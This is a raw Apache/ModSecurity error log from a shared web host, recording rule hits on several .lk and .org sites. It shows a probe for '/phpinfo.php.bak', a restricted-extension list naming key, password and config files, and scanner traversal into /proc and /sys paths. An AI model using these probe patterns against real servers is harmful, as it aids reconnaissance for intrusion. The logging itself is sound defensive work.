[Fri Jul 17 09:26:35.964033 2026] [security2:error] [pid 2013830:tid 2013830] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/projectors/asus-projectors"] [unique_id "almn8wRRrtuZqNDDSqW1fQAAABo"]
[Fri Jul 17 09:26:35.964406 2026] [security2:error] [pid 2013830:tid 2013830] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/projectors/asus-projectors"] [unique_id "almn8wRRrtuZqNDDSqW1fQAAABo"]
[Fri Jul 17 09:26:35.993256 2026] [core:error] [pid 2047046:tid 2047046] (13)Permission denied: [client 57.141.18.13:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory22/subsystem/devices/memory66/subsystem/devices/memory100/subsystem/uevent
[Fri Jul 17 09:26:36.029710 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:36.149206 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:36.231520 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:36.338952 2026] [security2:error] [pid 2013830:tid 2013830] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almn8wRRrtuZqNDDSqW1fQAAABo"]
[Fri Jul 17 09:26:36.364702 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:36.433008 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:36.540267 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:36.651904 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:36.738203 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:36.839202 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:36.939882 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:37.043825 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:37.142249 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:37.244314 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:37.344970 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:37.448066 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:37.547188 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:37.582501 2026] [security2:error] [pid 2047046:tid 2047046] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/projectors/benq-projectors"] [unique_id "almn9U_0b3nWp8txtSDCtQAAAA0"]
[Fri Jul 17 09:26:37.582652 2026] [security2:error] [pid 2047046:tid 2047046] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/projectors/benq-projectors"] [unique_id "almn9U_0b3nWp8txtSDCtQAAAA0"]
[Fri Jul 17 09:26:37.583027 2026] [security2:error] [pid 2047046:tid 2047046] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/projectors/benq-projectors"] [unique_id "almn9U_0b3nWp8txtSDCtQAAAA0"]
[Fri Jul 17 09:26:37.655127 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:37.750095 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:37.785148 2026] [security2:error] [pid 2047046:tid 2047046] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almn9U_0b3nWp8txtSDCtQAAAA0"]
[Fri Jul 17 09:26:37.851170 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:37.956232 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:38.059166 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:38.158186 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:38.258206 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:38.370983 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:38.481448 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:38.589163 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:38.675471 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:38.775418 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:38.879255 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:38.983118 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:39.079586 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:39.181113 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:39.283496 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:39.434308 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:39.548462 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:39.597846 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:39.697479 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:35592] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:26:39.891797 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:39.992105 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:40.095544 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:40.195893 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:40.301827 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:40.301864 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:40.420531 2026] [security2:error] [pid 2028246:tid 2028246] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/projectors/epson-projectors"] [unique_id "almn-DsMb3am0TgkjETgOAAAAAo"]
[Fri Jul 17 09:26:40.420664 2026] [security2:error] [pid 2028246:tid 2028246] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/projectors/epson-projectors"] [unique_id "almn-DsMb3am0TgkjETgOAAAAAo"]
[Fri Jul 17 09:26:40.420969 2026] [security2:error] [pid 2028246:tid 2028246] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/projectors/epson-projectors"] [unique_id "almn-DsMb3am0TgkjETgOAAAAAo"]
[Fri Jul 17 09:26:40.595355 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:35652] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:26:40.601831 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:40.686302 2026] [security2:error] [pid 2028246:tid 2028246] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almn-DsMb3am0TgkjETgOAAAAAo"]
[Fri Jul 17 09:26:40.710650 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:40.817353 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty13/subsystem/ttyS1/subsystem/ttyS0/irq
[Fri Jul 17 09:26:40.910418 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:41.140110 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:41.746971 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:41.848539 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:41.952235 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:42.053011 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:42.260067 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:42.503603 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:42.589380 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:42.693160 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:42.791423 2026] [core:error] [pid 2029866:tid 2029866] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty45/subsystem/ttyS0/device/driver/uevent
[Fri Jul 17 09:26:42.896730 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:42.997953 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:43.213937 2026] [security2:error] [pid 2032156:tid 2032156] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/projectors/viewsonic-projectors"] [unique_id "almn-614q1EBnanVMYGpsQAAAAk"]
[Fri Jul 17 09:26:43.214039 2026] [security2:error] [pid 2032156:tid 2032156] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/projectors/viewsonic-projectors"] [unique_id "almn-614q1EBnanVMYGpsQAAAAk"]
[Fri Jul 17 09:26:43.214409 2026] [security2:error] [pid 2032156:tid 2032156] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/projectors/viewsonic-projectors"] [unique_id "almn-614q1EBnanVMYGpsQAAAAk"]
[Fri Jul 17 09:26:43.402797 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:43.506938 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:43.517179 2026] [security2:error] [pid 2032156:tid 2032156] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almn-614q1EBnanVMYGpsQAAAAk"]
[Fri Jul 17 09:26:43.639596 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:43.722659 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:43.824678 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:43.925831 2026] [core:error] [pid 2030774:tid 2030774] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/hid/drivers/magicmouse/new_id
[Fri Jul 17 09:26:44.126996 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:44.227754 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:44.440791 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:44.537666 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:44.656134 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:44.737640 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/component"] [unique_id "almn_JBVIrrUwtEhdafWrAAAAAU"]
[Fri Jul 17 09:26:44.737796 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/component"] [unique_id "almn_JBVIrrUwtEhdafWrAAAAAU"]
[Fri Jul 17 09:26:44.738308 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/component"] [unique_id "almn_JBVIrrUwtEhdafWrAAAAAU"]
[Fri Jul 17 09:26:44.763008 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:44.858655 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:44.959213 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:44.959883 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:45.062734 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:45.130588 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almn_JBVIrrUwtEhdafWrAAAAAU"]
[Fri Jul 17 09:26:45.164008 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:46.147783 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ceylonparampara.lk"] [uri "/phpinfo.php.bak"] [unique_id "almn_g5GPQ6hs4VrfMpH1wAAAAY"]
[Fri Jul 17 09:26:46.148199 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/phpinfo.php.bak"] [unique_id "almn_g5GPQ6hs4VrfMpH1wAAAAY"]
[Fri Jul 17 09:26:46.148749 2026] [security2:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/phpinfo.php.bak"] [unique_id "almn_g5GPQ6hs4VrfMpH1wAAAAY"]
[Fri Jul 17 09:26:46.286059 2026] [security2:error] [pid 2018757:tid 2018757] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almn_kkXT4NBqALj2laCdQAAABA"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:26:46.286096 2026] [security2:error] [pid 2018757:tid 2018757] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almn_kkXT4NBqALj2laCdQAAABA"], referer: 